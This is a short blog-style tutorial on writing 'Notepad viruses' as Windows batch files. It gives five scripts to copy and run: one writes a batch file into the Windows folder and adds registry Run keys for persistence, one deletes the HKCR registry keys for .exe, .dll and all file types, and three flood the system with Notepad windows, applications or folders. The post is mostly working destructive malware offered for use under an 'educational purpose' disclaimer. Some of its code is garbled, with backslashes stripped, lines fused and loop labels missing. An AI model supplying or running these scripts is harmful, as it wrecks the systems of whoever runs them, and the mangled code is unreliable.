Create Notepad Virus Using Batch Scripting

 Create Notepad Virus Using Batch Scripting

First of all, what is batch scripting, those who don’t know, take a look below:

“It is simply a text file, containing a series of commands, which are executed automatically, line by line when the batch file runs.”

By using Batch File you can create an extremely dangerous virus which can delete the Windows files, format different drives [C:\, E:], steal data files and information, disable antivirus, firewall, etc.

⚠️NOTE: This post is solely and mainly for educational purpose only. I am nowhere responsible for any kind of damage caused by this tutorial, for more info read 

♠️ Write a dangerous virus in Notepad/Text Editor

First of all, you need a windows PC, obviously. πŸ˜‰

For this tutorial to create simple Notepad Virus you don’t need to be a die-hard programmer or something like that, but a basic knowledge of flow charts and loops helps you a lot to understand what’s going on here. So let’s start to create a trojan virus using notepad to run via command prompt(cmd) in Windows 10, 8/8.1, 7 or XP.

πŸ”ΉNow, Open the Notepad application and Copy (Ctrl+C) and Paste (Ctrl+V) the codes given below one by one for the different virus in a different file.

Notepad Virus source codes are Given below: πŸ‘‡

πŸŒ€1. Disable Internet Permanently

This code will disable the internet    connectivity permanently.

echo  off>c:windowswimn32.bat

echo break off>c:windowswimn32.bat echo


echo end>c:windowswimn32.batreg add

hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add

hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!


2πŸŒ€. Delete Key Registry Files

This will delete key registry files, then loops a message

This is dangerous and unrecoverable Notepad Virus.


START reg delete HKCR/.exe 

START reg delete HKCR/.dll 

START reg delete HKCR/*


ECHO Your PC has been crashed.Your Dad.


3πŸŒ€. Endless Notepads

This will pop up endless notepads until the computer freezes and crashes



START %SystemRoot%\system32\notepad.exe 

GOTO top

4πŸŒ€. Application Bomber

It will start to open different applications repeatedly which will affect the system’s performance.

You can also add the application of your choice in the above code.



start winword 

start mspaint 

start notepad start write start cmd 

start explorer 

start control 

start calc 

goto x

5πŸŒ€.Folder Flooder

This will create unlimited no. of folders.



md %random% 


goto x

πŸ”ΉAfter copy-pasting any one of the viruses at a time in the Notepad, save the file in ALL FILES mode with an extension “.bat“(without quotes as shown in the image). πŸ”Ή


Post a Comment